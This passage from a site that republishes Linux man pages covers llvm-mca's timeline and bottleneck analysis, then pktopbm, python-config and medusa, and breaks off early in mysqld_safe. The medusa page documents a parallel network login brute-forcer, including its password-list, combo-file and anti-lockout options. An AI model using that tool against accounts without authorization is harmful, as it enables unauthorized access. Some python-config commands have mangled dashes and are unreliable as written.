[2]: Average time spent waiting in a scheduler's queue while ready
[3]: Average time elapsed from WB until retire stage

      [0]    [1]    [2]    [3]
0.     3     1.0    1.0    3.3       vmulps   %xmm0, %xmm1, %xmm2
1.     3     3.3    0.7    1.0       vhaddps  %xmm2, %xmm2, %xmm3
2.     3     5.7    0.0    0.0       vhaddps  %xmm3, %xmm3, %xmm4
       3     3.3    0.5    1.4       <total>

The timeline view is interesting because it shows instruction state changes during execution. It also gives an idea of how the tool processes instructions executed on the target, and how their timing information might be calculated.

The timeline view is structured in two tables. The first table shows instructions changing state over time (measured in cycles); the second table (named Average Wait times) reports useful timing statistics, which should help diagnose performance bottlenecks caused by long data dependencies and sub-optimal usage of hardware resources.

An instruction in the timeline view is identified by a pair of indices, where the first index identifies an iteration, and the second index is the instruction index (i.e., where it appears in the code sequence). Since this example was generated using 3 iterations: -iterations=3, the iteration indices range from 0-2 inclusively.

Excluding the first and last column, the remaining columns are in cycles. Cycles are numbered sequentially starting from 0.

From the example output above, we know the following:

  • Instruction [1,0] was dispatched at cycle 1.

  • Instruction [1,0] started executing at cycle 2.

  • Instruction [1,0] reached the write back stage at cycle 4.

  • Instruction [1,0] was retired at cycle 10.

Instruction [1,0] (i.e., vmulps from iteration #1) does not have to wait in the scheduler’s queue for the operands to become available. By the time vmulps is dispatched, operands are already available, and pipeline JFPU1 is ready to serve another instruction. So the instruction can be immediately issued on the JFPU1 pipeline. That is demonstrated by the fact that the instruction only spent 1cy in the scheduler’s queue.

There is a gap of 5 cycles between the write-back stage and the retire event. That is because instructions must retire in program order, so [1,0] has to wait for [0,2] to be retired first (i.e., it has to wait until cycle 10).

In the example, all instructions are in a RAW (Read After Write) dependency chain. Register %xmm2 written by vmulps is immediately used by the first vhaddps, and register %xmm3 written by the first vhaddps is used by the second vhaddps. Long data dependencies negatively impact the ILP (Instruction Level Parallelism).

In the dot-product example, there are anti-dependencies introduced by instructions from different iterations. However, those dependencies can be removed at register renaming stage (at the cost of allocating register aliases, and therefore consuming physical registers).

Table Average Wait times helps diagnose performance issues that are caused by the presence of long latency instructions and potentially long data dependencies which may limit the ILP. Last row, <total>, shows a global average over all instructions measured. Note that llvm-mca, by default, assumes at least 1cy between the dispatch event and the issue event.

When the performance is limited by data dependencies and/or long latency instructions, the number of cycles spent while in the ready state is expected to be very small when compared with the total number of cycles spent in the scheduler’s queue. The difference between the two counters is a good indicator of how large of an impact data dependencies had on the execution of the instructions. When performance is mostly limited by the lack of hardware resources, the delta between the two counters is small. However, the number of cycles spent in the queue tends to be larger (i.e., more than 1-3cy), especially when compared to other low latency instructions.

Bottleneck Analysis

The -bottleneck-analysis command line option enables the analysis of performance bottlenecks.

This analysis is potentially expensive. It attempts to correlate increases in backend pressure (caused by pipeline resource pressure and data dependencies) to dynamic dispatch stalls.

Below is an example of -bottleneck-analysis output generated by llvm-mca for 500 iterations of the dot-product example on btver2.

Cycles with backend pressure increase [ 48.07% ] Throughput Bottlenecks: Resource Pressure [ 47.77% ] - JFPA [ 47.77% ] - JFPU0 [ 47.77% ] Data Dependencies: [ 0.30% ] - Register Dependencies [ 0.30% ] - Memory Dependencies [ 0.00% ]

Critical sequence based on the simulation:

              Instruction                         Dependency Information
 +----< 2.    vhaddps %xmm3, %xmm3, %xmm4
 |
 |    < loop carried >
 |
 |      0.    vmulps  %xmm0, %xmm1, %xmm2
 +----> 1.    vhaddps %xmm2, %xmm2, %xmm3         ## RESOURCE interference:  JFPA [ probability: 74% ]
 +----> 2.    vhaddps %xmm3, %xmm3, %xmm4         ## REGISTER dependency:  %xmm3
 |
 |    < loop carried >
 |
 +----> 1.    vhaddps %xmm2, %xmm2, %xmm3         ## RESOURCE interference:  JFPA [ probability: 74% ]

According to the analysis, throughput is limited by resource pressure and not by data dependencies. The analysis observed increases in backend pressure during 48.07% of the simulated run. Almost all those pressure increase events were caused by contention on processor resources JFPA/JFPU0.

The critical sequence is the most expensive sequence of instructions according to the simulation. It is annotated to provide extra information about critical register dependencies and resource interferences between instructions.

Instructions from the critical sequence are expected to significantly impact performance. By construction, the accuracy of this analysis is strongly dependent on the simulation and (as always) by the quality of the processor model in llvm.

Bottleneck analysis is currently not supported for processors with an in-order backend.

Extra Statistics to Further Diagnose Performance Issues

The -all-stats command line option enables extra statistics and performance counters for the dispatch logic, the reorder buffer, the retire control unit, and the register file.

Below is an example of -all-stats output generated by llvm-mca for 300 iterations of the dot-product example discussed in the previous sections.

Dynamic Dispatch Stall Cycles: RAT - Register unavailable: 0 RCU - Retire tokens unavailable: 0 SCHEDQ - Scheduler full: 272 (44.6%) LQ - Load queue full: 0 SQ - Store queue full: 0 GROUP - Static restrictions on the dispatch group: 0

Dispatch Logic - number of cycles where we saw N micro opcodes dispatched:
[# dispatched], [# cycles]
 0,              24  (3.9%)
 1,              272  (44.6%)
 2,              314  (51.5%)


Schedulers - number of cycles where we saw N micro opcodes issued:
[# issued], [# cycles]
 0,          7  (1.1%)
 1,          306  (50.2%)
 2,          297  (48.7%)

Scheduler's queue usage:
[1] Resource name.
[2] Average number of used buffer entries.
[3] Maximum number of used buffer entries.
[4] Total number of buffer entries.

 [1]            [2]        [3]        [4]
JALU01           0          0          20
JFPU01           17         18         18
JLSAGU           0          0          12


Retire Control Unit - number of cycles where we saw N instructions retired:
[# retired], [# cycles]
 0,           109  (17.9%)
 1,           102  (16.7%)
 2,           399  (65.4%)

Total ROB Entries:                64
Max Used ROB Entries:             35  ( 54.7% )
Average Used ROB Entries per cy:  32  ( 50.0% )


Register File statistics:
Total number of mappings created:    900
Max number of mappings used:         35

*  Register File #1 -- JFpuPRF:
   Number of physical registers:     72
   Total number of mappings created: 900
   Max number of mappings used:      35

*  Register File #2 -- JIntegerPRF:
   Number of physical registers:     64
   Total number of mappings created: 0
   Max number of mappings used:      0

If we look at the Dynamic Dispatch Stall Cycles table, we see the counter for SCHEDQ reports 272 cycles. This counter is incremented every time the dispatch logic is unable to dispatch a full group because the scheduler’s queue is full.

Looking at the Dispatch Logic table, we see that the pipeline was only able to dispatch two micro opcodes 51.5% of the time. The dispatch group was limited to one micro opcode 44.6% of the cycles, which corresponds to 272 cycles. The dispatch statistics are displayed by either using the command option -all-stats or -dispatch-stats.

The next table, Schedulers, presents a histogram displaying a count, representing the number of micro opcodes issued on some number of cycles. In this case, of the 610 simulated cycles, single opcodes were issued 306 times (50.2%) and there were 7 cycles where no opcodes were issued.

The Scheduler’s queue usage table shows that the average and maximum number of buffer entries (i.e., scheduler queue entries) used at runtime. Resource JFPU01 reached its maximum (18 of 18 queue entries). Note that AMD Jaguar implements three schedulers:

  • JALU01 - A scheduler for ALU instructions.

  • JFPU01 - A scheduler floating point operations.

  • JLSAGU - A scheduler for address generation.

The dot-product is a kernel of three floating point instructions (a vector multiply followed by two horizontal adds). That explains why only the floating point scheduler appears to be used.

A full scheduler queue is either caused by data dependency chains or by a sub-optimal usage of hardware resources. Sometimes, resource pressure can be mitigated by rewriting the kernel using different instructions that consume different scheduler resources. Schedulers with a small queue are less resilient to bottlenecks caused by the presence of long data dependencies. The scheduler statistics are displayed by using the command option -all-stats or -scheduler-stats.

The next table, Retire Control Unit, presents a histogram displaying a count, representing the number of instructions retired on some number of cycles. In this case, of the 610 simulated cycles, two instructions were retired during the same cycle 399 times (65.4%) and there were 109 cycles where no instructions were retired. The retire statistics are displayed by using the command option -all-stats or -retire-stats.

The last table presented is Register File statistics. Each physical register file (PRF) used by the pipeline is presented in this table. In the case of AMD Jaguar, there are two register files, one for floating-point registers (JFpuPRF) and one for integer registers (JIntegerPRF). The table shows that of the 900 instructions processed, there were 900 mappings created. Since this dot-product example utilized only floating point registers, the JFPuPRF was responsible for creating the 900 mappings. However, we see that the pipeline only used a maximum of 35 of 72 available register slots at any given time. We can conclude that the floating point PRF was the only register file used for the example, and that it was never resource constrained. The register file statistics are displayed by using the command option -all-stats or -register-file-stats.

In this example, we can conclude that the IPC is mostly limited by data dependencies, and not by resource pressure.

Instruction Flow

This section describes the instruction flow through the default pipeline of llvm-mca, as well as the functional units involved in the process.

The default pipeline implements the following sequence of stages used to process instructions.

  • Dispatch (Instruction is dispatched to the schedulers).

  • Issue (Instruction is issued to the processor pipelines).

  • Write Back (Instruction is executed, and results are written back).

  • Retire (Instruction is retired; writes are architecturally committed).

The in-order pipeline implements the following sequence of stages: * InOrderIssue (Instruction is issued to the processor pipelines). * Retire (Instruction is retired; writes are architecturally committed).

llvm-mca assumes that instructions have all been decoded and placed into a queue before the simulation start. Therefore, the instruction fetch and decode stages are not modeled. Performance bottlenecks in the frontend are not diagnosed. Also, llvm-mca does not model branch prediction.

Instruction Dispatch

During the dispatch stage, instructions are picked in program order from a queue of already decoded instructions, and dispatched in groups to the simulated hardware schedulers.

The size of a dispatch group depends on the availability of the simulated hardware resources. The processor dispatch width defaults to the value of the IssueWidth in LLVM’s scheduling model.

An instruction can be dispatched if:

  • The size of the dispatch group is smaller than processor’s dispatch width.

  • There are enough entries in the reorder buffer.

  • There are enough physical registers to do register renaming.

  • The schedulers are not full.

Scheduling models can optionally specify which register files are available on the processor. llvm-mca uses that information to initialize register file descriptors. Users can limit the number of physical registers that are globally available for register renaming by using the command option -register-file-size. A value of zero for this option means unbounded. By knowing how many registers are available for renaming, the tool can predict dispatch stalls caused by the lack of physical registers.

The number of reorder buffer entries consumed by an instruction depends on the number of micro-opcodes specified for that instruction by the target scheduling model. The reorder buffer is responsible for tracking the progress of instructions that are “in-flight”, and retiring them in program order. The number of entries in the reorder buffer defaults to the value specified by field MicroOpBufferSize in the target scheduling model.

Instructions that are dispatched to the schedulers consume scheduler buffer entries. llvm-mca queries the scheduling model to determine the set of buffered resources consumed by an instruction. Buffered resources are treated like scheduler resources.

Instruction Issue

Each processor scheduler implements a buffer of instructions. An instruction has to wait in the scheduler’s buffer until input register operands become available. Only at that point, does the instruction becomes eligible for execution and may be issued (potentially out-of-order) for execution. Instruction latencies are computed by llvm-mca with the help of the scheduling model.

llvm-mca’s scheduler is designed to simulate multiple processor schedulers. The scheduler is responsible for tracking data dependencies, and dynamically selecting which processor resources are consumed by instructions. It delegates the management of processor resource units and resource groups to a resource manager. The resource manager is responsible for selecting resource units that are consumed by instructions. For example, if an instruction consumes 1cy of a resource group, the resource manager selects one of the available units from the group; by default, the resource manager uses a round-robin selector to guarantee that resource usage is uniformly distributed between all units of a group.

llvm-mca’s scheduler internally groups instructions into three sets:

  • WaitSet: a set of instructions whose operands are not ready.

  • ReadySet: a set of instructions ready to execute.

  • IssuedSet: a set of instructions executing.

Depending on the operands availability, instructions that are dispatched to the scheduler are either placed into the WaitSet or into the ReadySet.

Every cycle, the scheduler checks if instructions can be moved from the WaitSet to the ReadySet, and if instructions from the ReadySet can be issued to the underlying pipelines. The algorithm prioritizes older instructions over younger instructions.

Write-Back and Retire Stage

Issued instructions are moved from the ReadySet to the IssuedSet. There, instructions wait until they reach the write-back stage. At that point, they get removed from the queue and the retire control unit is notified.

When instructions are executed, the retire control unit flags the instruction as “ready to retire.”

Instructions are retired in program order. The register file is notified of the retirement so that it can free the physical registers that were allocated for the instruction during the register renaming stage.

Load/Store Unit and Memory Consistency Model

To simulate an out-of-order execution of memory operations, llvm-mca utilizes a simulated load/store unit (LSUnit) to simulate the speculative execution of loads and stores.

Each load (or store) consumes an entry in the load (or store) queue. Users can specify flags -lqueue and -squeue to limit the number of entries in the load and store queues respectively. The queues are unbounded by default.

The LSUnit implements a relaxed consistency model for memory loads and stores. The rules are:

  1. A younger load is allowed to pass an older load only if there are no intervening stores or barriers between the two loads.

  2. A younger load is allowed to pass an older store provided that the load does not alias with the store.

  3. A younger store is not allowed to pass an older store.

  4. A younger store is not allowed to pass an older load.

By default, the LSUnit optimistically assumes that loads do not alias (-noalias=true) store operations. Under this assumption, younger loads are always allowed to pass older stores. Essentially, the LSUnit does not attempt to run any alias analysis to predict when loads and stores do not alias with each other.

Note that, in the case of write-combining memory, rule 3 could be relaxed to allow reordering of non-aliasing store operations. That being said, at the moment, there is no way to further relax the memory model (-noalias is the only option). Essentially, there is no option to specify a different memory type (e.g., write-back, write-combining, write-through; etc.) and consequently to weaken, or strengthen, the memory model.

Other limitations are:

  • The LSUnit does not know when store-to-load forwarding may occur.

  • The LSUnit does not know anything about cache hierarchy and memory types.

  • The LSUnit does not know how to identify serializing operations and memory fences.

The LSUnit does not attempt to predict if a load or store hits or misses the L1 cache. It only knows if an instruction “MayLoad” and/or “MayStore.” For loads, the scheduling model provides an “optimistic” load-to-use latency (which usually matches the load-to-use latency for when there is a hit in the L1D).

llvm-mca does not (on its own) know about serializing operations or memory-barrier like instructions. The LSUnit used to conservatively use an instruction’s “MayLoad”, “MayStore”, and unmodeled side effects flags to determine whether an instruction should be treated as a memory-barrier. This was inaccurate in general and was changed so that now each instruction has an IsAStoreBarrier and IsALoadBarrier flag. These flags are mca specific and default to false for every instruction. If any instruction should have either of these flags set, it should be done within the target’s InstrPostProcess class. For an example, look at the X86InstrPostProcess::postProcessInstruction method within llvm/lib/Target/X86/MCA/X86CustomBehaviour.cpp.

A load/store barrier consumes one entry of the load/store queue. A load/store barrier enforces ordering of loads/stores. A younger load cannot pass a load barrier. Also, a younger store cannot pass a store barrier. A younger load has to wait for the memory/load barrier to execute. A load/store barrier is “executed” when it becomes the oldest entry in the load/store queue(s). That also means, by construction, all of the older loads/stores have been executed.

In conclusion, the full set of load/store consistency rules are:

  1. A store may not pass a previous store.

  2. A store may not pass a previous load (regardless of -noalias).

  3. A store has to wait until an older store barrier is fully executed.

  4. A load may pass a previous load.

  5. A load may not pass a previous store unless -noalias is set.

  6. A load has to wait until an older load barrier is fully executed.

In-order Issue and Execute

In-order processors are modelled as a single InOrderIssueStage stage. It bypasses Dispatch, Scheduler and Load/Store unit. Instructions are issued as soon as their operand registers are available and resource requirements are met. Multiple instructions can be issued in one cycle according to the value of the IssueWidth parameter in LLVM’s scheduling model.

Once issued, an instruction is moved to IssuedInst set until it is ready to retire. llvm-mca ensures that writes are committed in-order. However, an instruction is allowed to commit writes and retire out-of-order if RetireOOO property is true for at least one of its writes.

Custom Behaviour

Due to certain instructions not being expressed perfectly within their scheduling model, llvm-mca isn’t always able to simulate them perfectly. Modifying the scheduling model isn’t always a viable option though (maybe because the instruction is modeled incorrectly on purpose or the instruction’s behaviour is quite complex). The CustomBehaviour class can be used in these cases to enforce proper instruction modeling (often by customizing data dependencies and detecting hazards that llvm-mca has no way of knowing about).

llvm-mca comes with one generic and multiple target specific CustomBehaviour classes. The generic class will be used if the -disable-cb flag is used or if a target specific CustomBehaviour class doesn’t exist for that target. (The generic class does nothing.) Currently, the CustomBehaviour class is only a part of the in-order pipeline, but there are plans to add it to the out-of-order pipeline in the future.

CustomBehaviour’s main method is checkCustomHazard() which uses the current instruction and a list of all instructions still executing within the pipeline to determine if the current instruction should be dispatched. As output, the method returns an integer representing the number of cycles that the current instruction must stall for (this can be an underestimate if you don’t know the exact number and a value of 0 represents no stall).

If you’d like to add a CustomBehaviour class for a target that doesn’t already have one, refer to an existing implementation to see how to set it up. The classes are implemented within the target specific backend (for example /llvm/lib/Target/AMDGPU/MCA/) so that they can access backend symbols.

Instrument Manager

On certain architectures, scheduling information for certain instructions do not contain all of the information required to identify the most precise schedule class. For example, data that can have an impact on scheduling can be stored in CSR registers.

One example of this is on RISCV, where values in registers such as vtype and vl change the scheduling behaviour of vector instructions. Since MCA does not keep track of the values in registers, instrument comments can be used to specify these values.

InstrumentManager’s main function is getSchedClassID() which has access to the MCInst and all of the instruments that are active for that MCInst. This function can use the instruments to override the schedule class of the MCInst.

On RISCV, instrument comments containing LMUL information are used by getSchedClassID() to map a vector instruction and the active LMUL to the scheduling class of the pseudo-instruction that describes that base instruction and the active LMUL.

Custom Views

llvm-mca comes with several Views such as the Timeline View and Summary View. These Views are generic and can work with most (if not all) targets. If you wish to add a new View to llvm-mca and it does not require any backend functionality that is not already exposed through MC layer classes (MCSubtargetInfo, MCInstrInfo, etc.), please add it to the /tools/llvm-mca/View/ directory. However, if your new View is target specific AND requires unexposed backend symbols or functionality, you can define it in the /lib/Target/<TargetName>/MCA/ directory.

To enable this target specific View, you will have to use this target’s CustomBehaviour class to override the CustomBehaviour::getViews() methods. There are 3 variations of these methods based on where you want your View to appear in the output: getStartViews(), getPostInstrInfoViews(), and getEndViews(). These methods returns a vector of Views so you will want to return a vector containing all of the target specific Views for the target in question.

Because these target specific (and backend dependent) Views require the CustomBehaviour::getViews() variants, these Views will not be enabled if the -disable-cb flag is used.

Enabling these custom Views does not affect the non-custom (generic) Views. Continue to use the usual command line arguments to enable / disable those Views.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1875 - Linux cli command pktopbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pktopbm and provides detailed information about the command pktopbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pktopbm.

.

NAME 🖥️ pktopbm 🖥️

convert packed (PK) format font into PBM

SYNOPSIS

pktopbm pkfile [ -x width ] [ -y height ] [-c num] pbmfile …

DESCRIPTION

This program is part of Netpbm(1) .

pktopbm reads a packed (PK) font file as input, and produces PBM images as output. If the filename “-” is used for any of the filenames, the standard input stream (or standard output where appropriate) will be used. If either the width or height is specified, this value will be used for all bitmaps produced. Also if one or both values are specified, the bitmap will be relocated with the hoffset and voffset given in the pkfile. The basepoint will be placed in the lower left corner of the bitmap if the bitmap is bigger than the specified size it will be truncated at the top or right.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pktopbm recognizes the following command line options:

-character num
This is the code point (character number) to which the first specified output file pertains. Ergo, there is no output for any code point lower than this.

-x width
The width of the image in columns.

The default is what is specified in the font file.

-y width
The height of the image in rows.

The default is what is specified in the font file.

HISTORY

Before Netpbm 11.04 (September 2023), the program would sometimes add the suffix ‘.pk’ to the specified input file name. It also let you specify multiple -c options, with each applying to the output file names that came after it.

SEE ALSO

pbmtopk(1) , pbm(1)

AUTHOR

Adapted from Tom Rokicki’s pxtopk by Angus Duggan <[email protected]>. <[email protected]> in March 1995.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pktopbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1876 - Linux cli command x86_64-linux-gnu-python31-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-python31-config and provides detailed information about the command x86_64-linux-gnu-python31-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-python31-config.

NAME 🖥️ x86_64-linux-gnu-python31-config 🖥️

config - output build options for python C/C++ extensions or embedding

SYNOPSIS

python-config [ –prefix ] [ –exec-prefix ] [ –includes ] [ –libs ] [ –cflags ] [ –ldflags ] [ –extension-suffix ] [ –abiflags ] [ –help ]

DESCRIPTION

python-config helps compiling and linking programs, which embed the Python interpreter, or extension modules that can be loaded dynamically (at run time) into the interpreter.

OPTIONS

–abiflags
print the the ABI flags as specified by PEP 3149.

–cflags
print the C compiler flags.

–ldflags
print the flags that should be passed to the linker.

–includes
similar to –cflags but only with -I options (path to python header files).

–libs
similar to –ldflags but only with -l options (used libraries).

–prefix
prints the prefix (base directory) under which python can be found.

–exec-prefix
print the prefix used for executable program directories (such as bin, sbin, etc).

–extension-suffix
print the extension suffix used for binary extensions.

–help
print the usage message.

EXAMPLES

To build the singe-file c program prog against the python library, use

gcc $(python-config –cflags –ldflags) progr.cpp -o progr.cpp

The same in a makefile:

CFLAGS+=$(shell python-config –cflags)

LDFLAGS+=$(shell python-config –ldflags)

all: progr

To build a dynamically loadable python module, use

gcc $(python-config –cflags –ldflags) -shared -fPIC progr.cpp -o progr.so

SEE ALSO

python (1)
http://docs.python.org/extending/extending.html
/usr/share/doc/python/faq/extending.html

AUTHORS

This manual page was written by Johann Felix Soden <[email protected]> for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1877 - Linux cli command medusa

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command medusa and provides detailed information about the command medusa, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the medusa.

NAME 🖥️ medusa 🖥️

Parallel Network Login Auditor

SYNOPSIS

medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPTIONS]

DESCRIPTION

Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. The goal is to support as many services which allow remote authentication as possible. The author considers following items to some of the key features of this application:

*Thread-based parallel testing. Brute-force testing can be performed against multiple hosts, users or passwords concurrently.

*Flexible user input. Target information (host/user/password) can be specified in a variety of ways. For example, each item can be either a single entry or a file containing multiple entries. Additionally, a combination file format allows the user to refine their target listing.

*Modular design. Each service module exists as an independent .mod file. This means that no modifications are necessary to the core application in order to extend the supported list of services for brute-forcing.

OPTIONS

-h [TARGET]
Target hostname or IP address.

-H [FILE]
Reads target specifications from the file specified rather than from the command line. The file should contain a list separated by newlines.

-u [TARGET]
Target username.

-U [FILE]
Reads target usernames from the file specified rather than from the command line. The file should contain a list separated by newlines.

-p [TARGET]
Target password.

-P [FILE]
Reads target passwords from the file specified rather than from the command line. The file should contain a list separated by newlines.

-C [FILE]
File containing combo entries. Combo files are colon separated and in the following format: host:user:password. If any of the three fields are left empty, the respective information should be provided either as a single global value or as a list in a file.

The following combinations are possible in the combo file: 1.) foo:bar:fud 2.) foo:bar: 3.) foo:: 4.) :bar:fud 5.) :bar: 6.) ::fud 7.) foo::fud

Medusa also supports using PwDump files as a combo file. The format of these files should be user:id:lm:ntlm:::. We look for ‘:::’ at the end of the first line to determine if the file contains PwDump output.

-O [FILE]
File to append log information to. Medusa will log all accounts credentials found to be valid or cause an unknown error. It will also log the start and stop times of an audit, along with the calling parameters.

-e [n/s/ns]
Additional password checks ([n] No Password, [s] Password = Username). If both options are being used, they should be specified together ("-e ns"). If only a single option is being called use either “-e n” or “-e s”.

-M [TEXT]
Name of the module to execute (without the .mod extension).

-m [TEXT]
Parameter to pass to the module. This can be passed multiple times with a different parameter each time and they will all be sent to the module (i.e. -m Param1 -m Param2, etc.)

-d
Dump all known modules.

-n [NUM]
Use for non-default TCP port number.

-s
Enable SSL.

-g [NUM]
Give up after trying to connect for NUM seconds (default 3).

-r [NUM]
Sleep NUM seconds between retry attempts (default 3).

-R [NUM]
Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.

-c [NUM]
Set the number of usec that are waited during a test of the established network socket. Some services (e.g. FTP, IMAP, POP3, and SMTP) may be configured to drop connections after an arbitrary number of failed logon attempts. We try to reuse the established connection to send authentication attempts until this disconnect occurs, at which point the connection is reestablished. To accomplish this, we check the socket to see if it’s still alive before authenticating within select modules. The default is perform a 1 usec check. It may be necessary to specify much larger values. For example, a 1000 usec was needed against our test vsftp server to avoid issues with its built-in anti-bruteforce mechanisms.

-t [NUM]
Total number of logins to be tested concurrently. It should be noted that roughly t x T threads could be running at any one time. 381 appears to be the limit on my fairly boring Gentoo Linux host.

-T [NUM]
Total number of hosts to be tested concurrently.

-L
Parallelize logins using one username per thread. The default is to process the entire username before proceeding.

-f
Stop scanning host after first valid username/password found.

-F
Stop audit after first valid username/password found on any host.

-b
Suppress startup banner

-q
Display module’s usage information. This should be used in conjunction with the “-M” option. For example, “medusa -M smbnt -q”.

-v [NUM]
Verbose level [0 - 6 (more)]. All messages at or below the specified level will be displayed. The default level is 5.

The following is the breakdown of the verbose levels: 0) EXIT APPLICATION 1) MESSAGE WITHOUT TAG 2) LOG MESSAGE WITHOUT TAG 3) IMPORTANT MESSAGE 4) ACCOUNT FOUND 5) ACCOUNT CHECK 6) GENERAL MESSAGE

-w [NUM]
Error debug level [0 - 10 (more)]. All messages at or below the specified level will be displayed. The default level is 5.

The following is the breakdown of the error levels: 0) FATAL 1) ALERT 2) CRITICAL 3) ERROR 4) WARNING 5) NOTICE 6) INFO 7) DEBUG 8) DEBUG - AUDIT 9) DEBUG - SERVER 10) DEBUG - MODULE

-V
Display version

-Z [TEXT]
Allows basic resuming of a previous scan. The supplied parameter describes which hosts were completed, which were partially tested and which had not been started. When Medusa receives a SIGINT, it will calculate and display a “resume map”. This map can then be supplied to the next run. For example, “medusa [OPTIONS PREVIOUSLY USED] -Z h6u1u2h8.”. In this particular example, hosts 1-5 were completed, host 6 was partially done (user 1 was partially completed and user 2 and beyond had not been started), host 7 was completed and host 8 and beyond had not been started. Medusa will parse this map and skip hosts and users accordingly. It should be noted that only host and user-level, not password-level, resuming is supported. If a user had been previously started, but was not completed, it will be tested from the start of its respective password list.

AUTHOR

JoMo-Kun <[email protected]> fizzgig <[email protected]>

BUGS

Found a bug? Feel free to send in a patch.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1878 - Linux cli command mysqld_safe

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mysqld_safe and provides detailed information about the command mysqld_safe, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mysqld_safe.

NAME 🖥️ mysqld_safe 🖥️

safe - MariaDB server startup script (mysqld_safe is now a symlink to mariadbd-safe)

SYNOPSIS

mysqld_safe options

DESCRIPTION

mysqld_safe is the recommended way to start a mysqld server on Unix. mysqld_safe adds some safety features such as restarting the server when an error occurs and logging runtime information to an error log file. Descriptions of error logging is given later in this section.

